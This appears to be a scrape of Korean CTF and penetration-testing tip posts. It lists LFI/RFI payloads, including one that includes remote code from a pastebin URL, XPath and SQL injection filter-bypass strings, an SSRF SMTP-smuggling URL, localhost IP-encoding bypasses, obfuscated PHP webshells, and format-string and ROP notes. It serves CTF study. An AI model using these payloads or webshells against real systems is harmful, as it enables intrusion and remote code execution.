* 유용한 command

curl 'url' -H 'header: header' --data 'data=data'


* LFI & RFI

http://test/?page=php://filter/convert.base64-encode/resource=index.php

http://test/?page=php://filter/convert.base64-decode/resource=./upload/abcde

http://test/?page=data://text/plain,%3Cxmp%3E%3C?php%20system($_GET[%27x%27]);&x=ls%20-al

http://test/?page=http://pastebin.com/raw/abcd/?&x=ls%20-al


* Xpath Injection

' or substring(name(parent::*[position()=1]),1,1)='u

' or substring(name(//node()[position()=6]),1,1)='f

' or substring(//flag_fcad489d[position()=1],1,1)='f


* SSRF

https://127.0.0.2%0d%0aHELO 127.0.0.2%0aMAIL FROM: <A@B.C>%0aRCPT TO: <zairo@ruu.kr>%0aDATA%0aFROM: AAA@B.C%0aTO: zairo@ruu.kr%0aSUBJECT: give me the flag%0d%0a.%0d%0a%0aQUIT%0a:25/


bypass etc...

- 다양한 IP 우회 방법

http://127.0.0.1    =>    http://2130706433/

http://127.0.0.1    =>    http://0x7f000001/

http://127.0.0.1    =>    http://0x7f.0x00.0x00.0x01

http://127.0.0.1    =>    http://017700000001/

http://127.0.0.1    =>    http://0177.000.000.01/

http://127.0.0.1    =>    http://0/


* webshell

- non-alpha webshell

<?=$_='$<>/'^'{{{{';${$_}[_](${$_}[__]);

// $_= '$<>/' ^ '{{{{' ----> $_ = '_GET'
// ${_GET}[_](${_GET})[__];
// final <?=$_GET[_]($_GET[__])
// webshell.php?_=system&__=ls -al
// reference : https://ctftime.org/writeup/10429


<?=`{${~"����"}[_]}`;
// echo -ne '<?=`{${~"\xa0\xb8\xba\xab"}[_]}`;'
// ?_=ls -al
// reference : https://ctftime.org/writeup/10429


<?=`/???/??? ../*`;
// 19 bytes (cat all files from ../)
// reference : https://ctftime.org/writeup/10429


'TipNote > Web Tip' 카테고리의 다른 글

WEB Tip  (0) 2018.07.18
SQL INJECTION  (0) 2015.11.25
필터링이 되지 않는 소스코드 내부의 다른 변수들을 이용하면 쉽게 문제를 해결할 수 있다.

in python3.6
>> FLAG = "THISISFLAG"
>> GUESS = "T"
>> print (f"{1 if GUESS in FLAG else 0}");
1
>> FLAG = "THISISFLAG"
>> GUESS = "B"
>> print (f"{1 if GUESS in FLAG else 0}");
0


'TipNote > CTF Tip' 카테고리의 다른 글

Python Jailbreak 팁  (0) 2018.07.16

모의해킹 할 때 가끔 다수의 도메인 각각의 아이피를 파악해야 하므로 이를 python을 이용하여 가져오는 툴을 만들었다.


import dns.resolver
import re

with open('output.txt', 'wb') as output:
	with open('domain.txt', 'rb') as f:
		for line in f.readlines():
			domain = line.strip()
			r = dns.resolver.Resolver()
			r.nameservers = ['8.8.8.8']
			ip_list = []
			try:
				dns.resolver.query(domain)
				for answer in dns.resolver.query(domain).response.answer:
					for ip in re.findall("\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}", str(answer)):
						if ip not in ip_list:
							ip_list.append(ip)
							message = ' / '.join(sorted(ip_list))
			except Exception as ex:
				if 'None of DNS query names exist' in str(ex):
					message = 'None'
				else:
					message = 'Error!'
			
			output.write("{}\t=>\t{}\n".format(domain, message))

print "[*] done! check ./output.txt"


'TipNote > Tools' 카테고리의 다른 글

도메인을 통해 아이피 가져오는 툴  (0) 2018.07.11

* 매개변수를 접근할 땐 ebp를 기준으로 접근한다. (ebp를 변경가능하면 매개변수 컨트롤 가능)


* leave ret

leave : mov esp, ebp; pop ebp

ret : pop eip; jmp eip


* gdb

- info reg : 레지스터 정보 보는 명령어

- info proc mapping : 메모리 맵핑 정보를 보는 명령어

- info proc exe 하면 pid가 나오는데 shell cat /proc/{pid}/maps를 입력하면 메모리 맵핑 정보와 rwx 권한을 볼 수 있음


* ldd : 라이브러리 의존성 확인 명령어

$ ldd ./binary | grep libc

libc.so.6 => /lib/libc.so.6 (0x40018000)


* nm : 오브젝트 파일에 포함되어 있는 심볼 리스트 출력 명령어

$ nm /lib/libc.so.6 | grep __execve

00091d48 t __execve


* ROP 가젯 찾기

objdump -s binary | grep c0 --color=auto

objdump -d binary | grep ret -B 3 --color=auto


* gdb ASLR 옵션 끄기

show disable-randomization

set disable-randomization off

'TipNote > Pwnable Tip' 카테고리의 다른 글

Pwnable 팁  (0) 2018.07.11
[Pwnable] Format String Bug 팁들  (3) 2017.07.23

## Format String Bug 팁들


1. 스택 내 멀리 있는 주소의 값을 printf("%x%x...%x")로 찍어내지 않고 한 번에 출력하는 방법

=> printf("%길이$08x") -> ex) printf("%1337$08x")

=> 위와 같이 fsb를 터뜨리면 스택에 1337번째의 값을 HEX값으로 출력해줌(info leak할때 사용)


2. 스택 내 멀리 있는 주소의 값에 printf("%x%x...%x%n")로 주소 값 변조를 하지 않고 한 번에 변조를 하는 방법

=> printf("%길이$n") -> ex) printf("%12$n")

=> 위와 같이 fsb를 터뜨리면 스택의 12번째의 값에 저장되어 있는 주소에 앞에 출력된 바이트 수만큼 덮어씌울 수 있음.



출처: http://holinder4s.tistory.com/29 [holinder4S]

'TipNote > Pwnable Tip' 카테고리의 다른 글

Pwnable 팁  (0) 2018.07.11
[Pwnable] Format String Bug 팁들  (3) 2017.07.23
  1. 주현범 2017.08.02 23:20

    제가 블로그를 정말 운영하고싶은데요.
    초대장이 없어서 가입을 못하고 있습니다.
    제발 초대장좀 주세용~
    dailyme@daum.net

  2. 2017.08.08 09:25

    비밀댓글입니다

  3. 2017.08.24 18:18

    비밀댓글입니다

MySQL
  1. %0a 를 입력해 다음라인으로 넘겨버릴 수 있다. 주석처리를 하더라도 다음 줄로 넘겨버리면 무시된다.
  2. 주석처리는 --, #, ;%00, /**/ 가 있다.
  3. 파라미터가 두개 있을경우 \를 입력해 뒤의 '를 무력화 후 쿼리문을 스트링화 시키고 뒤에 파라미터에 exploit을 수행할 수 있다.
  4. %0a 말고도 %0b 등 대신 쓰일 수 있는 여러문자들이 있다.
  5. 비교할 수 있는 문자는 =, like, in, strcmp() 등이 있다.
  6. 문자를 자를수 있는 함수는 strcmp, left, right, mid 함수 등이 있다.
  7. and 대신 &&, or 대신 ||를 쓸 수 있다.
  8. 대소문자 구별을 하지 않는다.
  9. ord 함수가 필터링 될 경우 conv(hex(substr(pw,1,1)),16,10)로 ord와 같은 효과를 낼 수 있다.
  10. 공백 대신 /**/, %09, %0a, ()를 쓸 수 있다.
  11. IF(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)





'TipNote > Web Tip' 카테고리의 다른 글

WEB Tip  (0) 2018.07.18
SQL INJECTION  (0) 2015.11.25

+ Recent posts